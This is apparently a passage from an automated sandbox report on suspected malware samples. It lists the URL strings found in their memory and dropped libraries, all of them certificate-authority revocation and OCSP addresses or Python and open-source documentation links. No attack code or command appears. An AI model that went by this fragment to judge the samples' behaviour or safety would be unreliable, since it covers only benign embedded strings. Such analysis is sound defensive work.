_asyncio.pyd.18.dr, _multiprocessing.pyd.18.dr, _queue.pyd.18.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: ziNGMDa.exe, 00000012.00000003.2991745096.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991175469.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992203303.000001F69CC07000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991866726.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3003260519.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2996946480.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990532807.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991502232.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991319328.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992037319.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991624033.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990249914.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3003260519.000001F69CC0B000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3002279999.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992203303.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990711149.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990131940.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3003539397.000001F69CC05000.00000004.00000020.00020000.00000000.sdmp, _asyncio.pyd.18.dr, _multiprocessing.pyd.18.dr, _queue.pyd.18.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: ziNGMDa.exe, 00000012.00000003.2993753417.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992848082.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2995633086.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992848082.000001F69CC05000.00000004.00000020.00020000.00000000.sdmp, libssl-1_1.dll.18.dr, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: ziNGMDa.exe, 00000012.00000003.2991319328.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl0
Source: ziNGMDa.exe, 00000012.00000003.2991745096.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991175469.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992848082.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991866726.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3003260519.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2996946480.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990532807.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991502232.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2995633086.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991319328.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992037319.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991624033.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991745096.000001F69CC07000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990249914.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3003539397.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3002279999.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992203303.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992848082.000001F69CC05000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990711149.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990131940.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991502232.000001F69CC07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: ziNGMDa.exe, 00000012.00000003.2991319328.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl0V
Source: ziNGMDa.exe, 00000012.00000003.2991745096.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991175469.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2993753417.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992848082.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991866726.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3003260519.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2996946480.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990532807.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991502232.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2995633086.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991319328.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992037319.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991624033.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991745096.000001F69CC07000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990249914.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3003539397.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3003260519.000001F69CC0B000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3002279999.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992203303.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992848082.000001F69CC05000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990711149.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: 0eb65aaf2f.exe, 00000016.00000003.3293379487.00000000056CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: ziNGMDa.exe, 00000012.00000003.2991745096.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991175469.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992203303.000001F69CC07000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991866726.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3003260519.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2996946480.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990532807.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991502232.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991319328.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992037319.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991624033.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990249914.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3003539397.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3002279999.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992203303.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990711149.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990131940.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3003539397.000001F69CC05000.00000004.00000020.00020000.00000000.sdmp, _asyncio.pyd.18.dr, _multiprocessing.pyd.18.dr, _queue.pyd.18.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: ziNGMDa.exe, 00000012.00000003.2993753417.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992848082.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2995633086.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992848082.000001F69CC05000.00000004.00000020.00020000.00000000.sdmp, libssl-1_1.dll.18.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
Source: ziNGMDa.exe, 00000012.00000003.2991745096.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991175469.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992848082.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991866726.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3003260519.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2996946480.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990532807.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991502232.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2995633086.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991319328.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992037319.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991624033.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991745096.000001F69CC07000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990249914.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3003539397.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3002279999.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992203303.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992848082.000001F69CC05000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990711149.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990131940.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991502232.000001F69CC07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: 0eb65aaf2f.exe, 00000016.00000003.3293379487.00000000056CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: ziNGMDa.exe, 00000014.00000003.3017023414.000001C7FF6F6000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000002.3326546392.000001C7FF70D000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3016738690.000001C7FF58E000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3016738690.000001C7FF6EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.python.org/3/library/pprint.html#pprint.pprint
Source: ziNGMDa.exe, 00000014.00000002.3331467425.000001C7FF9B4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://github.com/ActiveState/appdirs
Source: ziNGMDa.exe, 00000012.00000003.2991745096.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991175469.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991866726.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3003260519.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2996946480.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990532807.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991502232.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991319328.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992037319.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991624033.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990249914.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3003539397.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3002279999.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992203303.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990711149.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990131940.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3003539397.000001F69CC05000.00000004.00000020.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3293379487.00000000056CD000.00000004.00000800.00020000.00000000.sdmp, _asyncio.pyd.18.dr, _multiprocessing.pyd.18.dr, _queue.pyd.18.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: ziNGMDa.exe, 00000012.00000003.2991745096.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991175469.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992203303.000001F69CC07000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991866726.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3003260519.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2996946480.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990532807.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991502232.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991319328.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992037319.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991624033.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990249914.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3003260519.000001F69CC0B000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3002279999.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992203303.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990711149.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990131940.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3003539397.000001F69CC05000.00000004.00000020.00020000.00000000.sdmp, _asyncio.pyd.18.dr, _multiprocessing.pyd.18.dr, _queue.pyd.18.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: ziNGMDa.exe, 00000012.00000003.2991745096.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991175469.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2993753417.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992848082.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991866726.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3003260519.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2996946480.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990532807.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991502232.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2995633086.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991319328.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992037319.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991624033.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991745096.000001F69CC07000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990249914.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3003539397.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3003260519.000001F69CC0B000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3002279999.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992203303.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992848082.000001F69CC05000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990711149.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: ziNGMDa.exe, 00000012.00000003.2993753417.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992848082.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2995633086.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992848082.000001F69CC05000.00000004.00000020.00020000.00000000.sdmp, libssl-1_1.dll.18.dr, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: ziNGMDa.exe, 00000012.00000003.2991745096.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991175469.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992848082.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991866726.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3003260519.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2996946480.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990532807.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991502232.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2995633086.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991319328.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992037319.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991624033.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991745096.000001F69CC07000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990249914.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3003539397.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3002279999.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992203303.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992848082.000001F69CC05000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990711149.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990131940.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991502232.000001F69CC07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: skotes.exe, 00000011.00000002.3327175551.0000000001319000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.globalsign.com/codesigningrootr450F
Source: skotes.exe, 00000011.00000002.3327175551.0000000001319000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.globalsign.com/gsgccr45evcodesignca20200U
Source: 0eb65aaf2f.exe, 00000016.00000003.3293379487.00000000056CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: ziNGMDa.exe, 00000012.00000003.2993753417.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.thawte.com0
Source: ziNGMDa.exe, 00000014.00000002.3330404335.000001C7FF850000.00000004.00001000.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000002.3329754680.000001C7FF750000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://opensource.apple.com/source/CF/CF-744.18/CFBinaryPList.c
Source: ziNGMDa.exe, 00000012.00000003.3008857251.000001F69CC03000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3008686579.000001F69CC03000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3008792343.000001F69CC03000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3008598768.000001F69CC01000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3008409989.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, METADATA.18.dr	String found in binary or memory: http://packages.python.org/altgraph
Source: ziNGMDa.exe, 00000014.00000003.3016738690.000001C7FF6EF000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000002.3326546392.000001C7FF5EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pyparsing.wikispaces.com
Source: ziNGMDa.exe, 00000012.00000003.3008409989.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, METADATA.18.dr	String found in binary or memory: http://pypi.python.org/pypi/altgraph
Source: ziNGMDa.exe, 00000012.00000003.3008857251.000001F69CC03000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3008686579.000001F69CC03000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3008792343.000001F69CC03000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3008598768.000001F69CC01000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3008409989.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, METADATA.18.dr	String found in binary or memory: http://pypi.python.org/pypi/sphinx
Source: skotes.exe, 00000011.00000002.3327175551.0000000001319000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/codesigningrootr45.crt0A
Source: skotes.exe, 00000011.00000002.3327175551.0000000001319000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gsgccr45evcodesignca2020.crt0?
Source: ziNGMDa.exe, 00000014.00000003.3017023414.000001C7FF6F6000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3016700587.000001C7FFA61000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000002.3326546392.000001C7FF550000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3016738690.000001C7FF6EF000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000002.3326546392.000001C7FF5EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://stackoverflow.com/questions/267399/how-do-you-match-only-valid-roman-numerals-with-a-regular-
Source: ziNGMDa.exe, 00000012.00000003.2993753417.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: ziNGMDa.exe, 00000012.00000003.2993753417.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: ziNGMDa.exe, 00000012.00000003.2993753417.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: ziNGMDa.exe, 00000012.00000003.3009690328.000001F69CBFF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/
